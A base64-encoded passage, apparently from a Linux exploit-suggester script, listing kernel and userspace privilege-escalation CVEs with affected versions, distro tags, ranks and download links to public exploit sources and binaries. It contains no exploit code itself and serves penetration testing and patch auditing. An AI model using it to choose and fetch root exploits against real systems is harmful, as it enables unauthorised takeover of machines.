1bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKZXhwbG9pdC1kYjogNDA3NTkKYXV0aG9yOiBKYW5uIEhvcm4KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01MTk1XSR7dHh0cnN0fSBkaXJ0eWNvdwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjIyLHZlcjw9NC44LjMKVGFnczogZGViaWFuPTd8OCxSSEVMPTV7a2VybmVsOjIuNi4oMTh8MjR8MzMpLSp9LFJIRUw9NntrZXJuZWw6Mi42LjMyLSp8My4oMHwyfDZ8OHwxMCkuKnwyLjYuMzMuOS1ydDMxfSxSSEVMPTd7a2VybmVsOjMuMTAuMC0qfDQuMi4wLTAuMjEuZWw3fSx1YnVudHU9MTYuMDR8MTQuMDR8MTIuMDQKUmFuazogNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9kaXJ0eWNvdy9kaXJ0eWNvdy5naXRodWIuaW8vd2lraS9WdWxuZXJhYmlsaXR5RGV0YWlscwpDb21tZW50czogRm9yIFJIRUwvQ2VudE9TIHNlZSBleGFjdCB2dWxuZXJhYmxlIHZlcnNpb25zIGhlcmU6IGh0dHBzOi8vYWNjZXNzLnJlZGhhdC5jb20vc2l0ZXMvZGVmYXVsdC9maWxlcy9yaC1jdmUtMjAxNi01MTk1XzUuc2gKZXhwbG9pdC1kYjogNDA2MTEKYXV0aG9yOiBQaGlsIE9lc3RlcgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yMix2ZXI8PTQuOC4zClRhZ3M6IGRlYmlhbj03fDgsUkhFTD01fDZ8Nyx1YnVudHU9MTQuMDR8MTIuMDQsdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjEtZ2VuZXJpY30sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCmV4dC11cmw6IGh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLzQwODQ3CkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDgzOQphdXRob3I6IEZpcmVGYXJ0IChhdXRob3Igb2YgZXhwbG9pdCBhdCBFREIgNDA4MzkpOyBHYWJyaWVsZSBCb25hY2luaSAoYXV0aG9yIG9mIGV4cGxvaXQgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTg2NTVdJHt0eHRyc3R9IGNob2NvYm9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPDQuOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtKDIxfDIyfDI0fDI4fDMxfDM0fDM2fDM4fDQyfDQzfDQ1fDQ3fDUxKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTYvMTIvMDYvMQpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwYWJpbGl0eSBpcyBuZWVkZWQgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkcyB0byBiZSBlbmFibGVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvQ1ZFLTIwMTYtODY1NS9jaG9jb2JvX3Jvb3QKZXhwbG9pdC1kYjogNDA4NzEKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTk3OTNdJHt0eHRyc3R9IFNPX3tTTkR8UkNWfUJVRkZPUkNFClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjExLHZlcjw0LjguMTQsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvdHJlZS9tYXN0ZXIvQ1ZFLTIwMTYtOTc5MwpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi05NzkzL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcHMgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE5vIFNNRVAvU01BUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIFRlc3RlZCBpbiBRRU1VIG9ubHkKZXhwbG9pdC1kYjogNDE5OTUKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy02MDc0XSR7dHh0cnN0fSBkY2NwClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD00LjkuMTEsQ09ORklHX0lQX0RDQ1A9W215XQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtNjItZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAyLzIyLzMKQ29tbWVudHM6IFJlcXVpcmVzIEtlcm5lbCBiZSBidWlsdCB3aXRoIENPTkZJR19JUF9EQ0NQIGVuYWJsZWQuIEluY2x1ZGVzIHBhcnRpYWwgU01FUC9TTUFQIGJ5cGFzcwpleHBsb2l0LWRiOiA0MTQ1OAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTczMDhdJHt0eHRyc3R9IGFmX3BhY2tldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMC42LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC44LjAtKDM0fDM2fDM5fDQxfDQyfDQ0fDQ1KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGVwcm9qZWN0emVyby5ibG9nc3BvdC5jb20vMjAxNy8wNS9leHBsb2l0aW5nLWxpbnV4LWtlcm5lbC12aWEtcGFja2V0Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwga2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTczMDgvZXhwbG9pdApleHBsb2l0LWRiOiA0MTk5NAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTY5OTVdJHt0eHRyc3R9IGVCUEZfdmVyaWZpZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuOCxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogZGViaWFuPTkuMHtrZXJuZWw6NC45LjAtMy1hbWQ2NH0sZmVkb3JhPTI1fDI2fDI3LHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtODktZ2VuZXJpY30sdWJ1bnR1PSgxNi4wNHwxNy4wNCl7a2VybmVsOjQuKDh8MTApLjAtKDE5fDI4fDQ1KS1nZW5lcmljfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yaWNrbGFyYWJlZS5ibG9nc3BvdC5jb20vMjAxOC8wNy9lYnBmLWFuZC1hbmFseXNpcy1vZi1nZXQtcmVrdC1saW51eC5odG1sCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xNjk5NS9leHBsb2l0Lm91dApleHBsb2l0LWRiOiA0NTAxMAphdXRob3I6IFJpY2sgTGFyYWJlZQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAxMTJdJHt0eHRyc3R9IE5FVElGX0ZfVUZPClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQsdmVyPD00LjEzLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtKn0sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDgvMTMvMQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcCBvciBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gU01FUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBkaXN0cm9zL2tlcm5lbHMKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xMDAwMTEyL2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMjUzXSR7dHh0cnN0fSBQSUVfc3RhY2tfY29ycnVwdGlvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMyx4ODZfNjQKVGFnczogUkhFTD02LFJIRUw9N3trZXJuZWw6My4xMC4wLTUxNC4yMS4yfDMuMTAuMC01MTQuMjYuMX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDkvMjYvbGludXgtcGllLWN2ZS0yMDE3LTEwMDAyNTMvY3ZlLTIwMTctMTAwMDI1My5jCmV4cGxvaXQtZGI6IDQyODg3CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTUzMzNdJHt0eHRyc3R9IHJkc19hdG9taWNfZnJlZV9vcCBOVUxMIHBvaW50ZXIgZGVyZWZlcmVuY2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuMTMsY21kOmdyZXAgLXFpIHJkcyAvcHJvYy9tb2R1bGVzLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wfDQuOC4wfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vd2Jvd2xpbmcvOWQzMjQ5MmJkOTZkOWU3YzNiZjUyZTIzYTBhYzMwYTQvcmF3Lzk1OTMyNTgxOWM3ODI0OGE2NDM3MTAyYmIyODliYjg1NzhhMTM1Y2QvY3ZlLTIwMTgtNTMzMy1wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTgtNTMzMy9jdmUtMjAxOC01MzMzLmMKQ29tbWVudHM6IHJkcy5rbyBrZXJuZWwgbW9kdWxlIG5lZWRzIHRvIGJlIGxvYWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIHRhcmdldHMgYW5kIGJ5cGFzc2luZyBLQVNMUi4KYXV0aG9yOiB3Ym93bGluZyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xODk1NV0ke3R4dHJzdH0gc3VidWlkX3NoZWxsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjE1LHZlcjw9NC4xOS4yLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLGNtZDpbIC11IC91c3IvYmluL25ld3VpZG1hcCBdLGNtZDpbIC11IC91c3IvYmluL25ld2dpZG1hcCBdClRhZ3M6IHVidW50dT0xOC4wNHtrZXJuZWw6NC4xNS4wLTIwLWdlbmVyaWN9LGZlZG9yYT0yOHtrZXJuZWw6NC4xNi4zLTMwMS5mYzI4fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE3MTIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NzEzMy56aXAKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEzMjcyL3BvYy5jCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhY3RpdmUgUG9sS2l0IGFnZW50LgpleHBsb2l0LWRiOiA0NzEzMwpleHBsb2l0LWRiOiA0NzE2MwphdXRob3I6IEphbm4gSG9ybiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xNTY2Nl0ke3R4dHJzdH0gWEZSTV9VQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMsdmVyPDUuMC4xOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MSxDT05GSUdfWEZSTT15ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2R1YXN5bnQuY29tL2Jsb2cvdWJ1bnR1LWNlbnRvcy1yZWRoYXQtcHJpdmVzYwpiaW4tdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZHVhc3ludC94ZnJtX3BvYy9yYXcvbWFzdGVyL2x1Y2t5MApDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZDsgQ09ORklHX1hGUk0gbmVlZHMgdG8gYmUgZW5hYmxlZAphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjczNjVdJHt0eHRyc3R9IGxpbnV4LWlzY3NpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD01LjExLjMsQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQhPXkKVGFnczogUkhFTD04ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuZ3JpbW0tY28uY29tLzIwMjEvMDMvbmV3LW9sZC1idWdzLWluLWxpbnV4LWtlcm5lbC5odG1sCnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9ncmltbS1jby9Ob3RRdWl0ZTBEYXlGcmlkYXkvemlwL3RydW5rCkNvbW1lbnRzOiBDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRCBtdXN0IG5vdCBiZSBlbmFibGVkCmF1dGhvcjogR1JJTU0KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zNDkwXSR7dHh0cnN0fSBlQlBGIEFMVTMyIGJvdW5kcyB0cmFja2luZyBmb3IgYml0d2lzZSBvcHMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuNyx2ZXI8NS4xMixDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0oMjV8MjZ8Mjd8Mjh8Mjl8MzB8MzF8MzJ8MzN8MzR8MzV8MzZ8Mzd8Mzh8Mzl8NDB8NDF8NDJ8NDN8NDR8NDV8NDZ8NDd8NDh8NDl8NTB8NTF8NTIpLSp9LHVidW50dT0yMS4wNHtrZXJuZWw6NS4xMS4wLTE2LSp9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5ncmFwbHNlY3VyaXR5LmNvbS9wb3N0L2tlcm5lbC1wd25pbmctd2l0aC1lYnBmLWEtbG92ZS1zdG9yeQpzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vY2hvbXBpZTEzMzcvTGludXhfTFBFX2VCUEZfQ1ZFLTIwMjEtMzQ5MC96aXAvbWFpbgpDb21tZW50czogQ09ORklHX0JQRl9TWVNDQUxMIG5lZWRzIHRvIGJlIHNldCAmJiBrZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCAhPSAxCmF1dGhvcjogY2hvbXBpZTEzMzcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0yMjU1NV0ke3R4dHJzdH0gTmV0ZmlsdGVyIGhlYXAgb3V0LW9mLWJvdW5kcyB3cml0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE5LHZlcjw9NS4xMi1yYzYKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGUuZ2l0aHViLmlvL3NlY3VyaXR5LXJlc2VhcmNoL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvd3JpdGV1cC5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9nb29nbGUvc2VjdXJpdHktcmVzZWFyY2gvbWFzdGVyL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvZXhwbG9pdC5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAyMS0yMjU1NS9leHBsb2l0LmMKQ29tbWVudHM6IGlwX3RhYmxlcyBrZXJuZWwgbW9kdWxlIG11c3QgYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDUwMTM1CmF1dGhvcjogdGhlZmxvdyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCiMjIyMjIyMjIyMjIyBVU0VSU1BBQ0UgRVhQTE9JVFMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMTg2XSR7dHh0cnN0fSBzYW1iYQpSZXFzOiBwa2c9c2FtYmEsdmVyPD0yLjIuOApUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAyMzY3NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2ClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEsY21kOltbIC1mIC9ldGMvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyB8fCAtZiAvbGliL3VkZXYvcnVsZXMuZC85NS11ZGV2LWxhdGUucnVsZXMgXV0KVGFnczogdWJ1bnR1PTguMTB8OS4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDg1NzIKQ29tbWVudHM6IFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZCAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMTE4NV0ke3R4dHJzdH0gdWRldiAyClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA4NDc4CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkLiBWZXJzaW9uPDEuNC4xIHZ1bG5lcmFibGUgYnV0IGRpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMDgzMl0ke3R4dHJzdH0gUEFNIE1PVEQKUmVxczogcGtnPWxpYnBhbS1tb2R1bGVzLHZlcjw9MS4xLjEKVGFnczogdWJ1bnR1PTkuMTB8MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNDMzOQpDb21tZW50czogU1NIIGFjY2VzcyB0byBub24gcHJpdmlsZWdlZCB1c2VyIGlzIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MTcwXSR7dHh0cnN0fSBTeXN0ZW1UYXAKUmVxczogcGtnPXN5c3RlbXRhcCx2ZXI8PTEuMwpUYWdzOiBSSEVMPTV7c3lzdGVtdGFwOjEuMS0zLmVsNX0sZmVkb3JhPTEze3N5c3RlbXRhcDoxLjItMS5mYzEzfQpSYW5rOiAxCmF1dGhvcjogVGF2aXMgT3JtYW5keQpleHBsb2l0LWRiOiAxNTYyMApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0xNDg1XSR7dHh0cnN0fSBwa2V4ZWMKUmVxczogcGtnPXBvbGtpdCx2ZXI9MC45NgpUYWdzOiBSSEVMPTYsdWJ1bnR1PTEwLjA0fDEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTc5NDIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTEtMjkyMV0ke3R4dHJzdH0ga3RzdXNzClJlcXM6IHB